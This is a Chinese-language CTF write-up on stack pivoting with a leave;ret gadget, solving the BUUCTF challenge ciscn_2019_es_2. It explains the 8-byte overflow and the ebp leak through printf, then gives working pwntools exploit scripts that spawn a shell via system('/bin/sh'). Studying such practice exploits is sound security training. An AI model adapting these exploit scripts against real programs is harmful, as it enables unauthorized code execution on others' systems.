栈迁移:简单理解就是在栈溢出的时候可溢出的字符过少,只能溢出ebp
和ret
的地址,可以使用leave_ret
这个gadget
来实现栈的迁移。
在栈中,默认情况下汇编语言在栈结束的时候都默认会执行一次leave
和ret
指令,我们利用这个特性将返回地址修改为leave_ret
的gadget
,将会执行两次leave
和ret
的操作,将我们的栈迁移到ebp
溢出指定的位置,执行想要执行的指令。
题目示例:
BUUCTF ciscn_2019_es_2
使用ida打开分析
在main
函数中调用了vul
函数,该函数中read
函数存在栈溢出,但是只能溢出8
个字节,通过函数列表发现拥有一个hack
函数调用了system
,现在我们拥有了system
的addr,但是溢出的空间并不能让我们手动的构造gadget
获取shell
。
通过观察发现,该vul
函数使用了printf
输出s
的内容,我们知道printf
在输出字符串的时候遇到\x00
才会结束,所以我们可以通过溢出,获取ebp
的地址,在汇编的学习中,我们知道在栈中取值一般通过ebp - offset
,所以我们的思路如下:
- 通过溢出在
s
的栈中没有\x00
,让printf
输出ebp
的地址 - 通过溢出在
s
的栈中写入'aaaa' + system_addr + system_return + bin_sh_addr + '/bin/sh' + 垃圾字符 + s栈开始 + leave_ret
让我们站在程序的思路看一下发生了什么:
- 栈结束的时候,执行
leave
和ret
,这时会跳转到ebp
保存的地址,也就是s栈开始
- 接着执行
leave_ret
我们在return_addr加入的gadget
地址,这时会将栈迁移到s栈开始的位置
,esp
会指向栈的s栈开始 +4
个字节,因为leave_ret
相当于执行了mov esp,ebp
和pop ebp
,pop ebp
的时候,在pop
的时候,会将esp
的值+4
,所以我们需要在开头写入四个字节的aaaa
- 接着执行
leave_ret
中的ret
指令,相当于pop eip
,这时会将system_addr
的地址读取到eip
,eip
就是程序执行到哪里了,就会接着执行system
函数 - system函数需要执行返回地址和参数,返回地址随便,参数为
/bin/sh
,由于程序中没有/bin/sh
,我们执行程序的地址为s栈的开始 + 0x10
,因为我们前面的'aaaa' + system_addr + system_return + bin_sh_addr
相当于四条汇编指令,占用16
个字节,接着往栈里写入/bin/sh
,就可以成功执行system(/bin/sh)
,完美
理论成立,接着实践,如何获取s栈开始
的地址呢?,ebp
可以通过printf
输出获取,如果使用ebp - offset
来获取s栈开始的位置
是一个问题,首先先使用脚本尝试printf
溢出,获取ebp
的地址
from pwn import *
context(log_level='debug')
p = process("./ciscn_2019_es_2")
# p = remote("node5.buuoj.cn",28942)
e = ELF("./ciscn_2019_es_2")
leave_ret = 0x08048562
system = e.sym['system']
p.recvuntil("Welcome, my friend. What's your name?")
payload1 = b"A" * 0x20 + b"B" * 0x8
p.send(payload1)
p.recvuntil(b"BBBBBBBB")
ebp = u32(p.recv(4))
log.success("ebp_addr: " + str(hex(ebp)))
p.interactive()
接着使用pwndbg
调试查看ebp
到栈顶的偏移
在printf
时发现栈顶到栈底的偏移为0x34
,这里我们需要改为0x34 + 4
,因为printf
的参数'Hello, %s\n'
也占用了四个字节
接着我们构造脚本,如下:
from pwn import *
context(log_level='debug')
p = process("./ciscn_2019_es_2")
# p = remote("node5.buuoj.cn",28942)
e = ELF("./ciscn_2019_es_2")
leave_ret = 0x08048562
system = e.sym['system']
p.recvuntil("Welcome, my friend. What's your name?")
payload1 = b"A" * 0x20 + b"B" * 0x8
p.send(payload1)
p.recvuntil(b"BBBBBBBB")
ebp = u32(p.recv(4))
log.success("ebp_addr: " + str(hex(ebp)))
payload2 = b"AAAA" + p32(system) + p32(0) + p32(ebp - 0x38 + 0x10) + b"/bin/sh"
payload2 = payload2.ljust(0x28,b"\x00") + p32(ebp - 0x38) + p32(leave_ret)
p.send(payload2)
p.interactive()
运行的到shell